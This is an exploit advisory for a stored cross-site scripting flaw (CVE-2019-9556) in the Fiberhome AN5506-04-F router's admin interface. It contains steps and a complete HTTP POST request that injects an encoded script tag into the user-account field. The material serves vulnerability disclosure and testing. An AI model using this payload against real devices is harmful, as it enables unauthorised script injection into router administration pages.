Fiberhome AN5506-04-F RP2669 Cross Site Scripting

`# Exploit Title: Fiberhome AN5506-04-F - Stored Cross Site Scripting  
# Date: 04.03.2019  
# Exploit Author: Tauco  
# Vendor Homepage: http://www.fiberhomegroup.com/en/  
# Version: RP2669  
# Tested on: Windows 10  
# CVE : CVE-2019-9556  
  
Description:  
===========================================================================  
  
Stored XSS occurs when a web application gathers input from a user which might be malicious, and then stores that input in a data store for later use. The input that is stored is not correctly filtered. As a consequence, the malicious data will appear to be part of the web site and run within the useras browser under the privileges of the web application.  
  
https://www.owasp.org/index.php/Testing_for_Stored_Cross_site_scripting_(OTG-INPVAL-002)  
  
Proof of concept :   
  
===========================================================================  
1. Login with credential 192.168.1.1  
2. Go to Management  
3. Open User Account  
4. Add user  
5. Inject the post parameter "account_user"  
6. Encode Url <script>alert("XSS")</script>  
  
POST /goform/setUser HTTP/1.1  
Host: 192.168.1.1  
Content-Length: 101  
Cache-Control: max-age=0  
Origin: http://192.168.1.1  
Upgrade-Insecure-Requests: 1  
Content-Type: application/x-www-form-urlencoded  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.119 Safari/537.36  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8  
Referer: http://192.168.1.1/management/account_admin.asp  
Accept-Encoding: gzip, deflate  
Accept-Language: en-US,en;q=0.9  
Cookie: loginName=admin  
Connection: close  
  
account_user=%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%22%58%53%53%22%29%3c%2f%73%63%72%69%70%74%3e&account_pwd=password123&account_pwd2=password123&btnApply1=Apply&curIndex=new  
`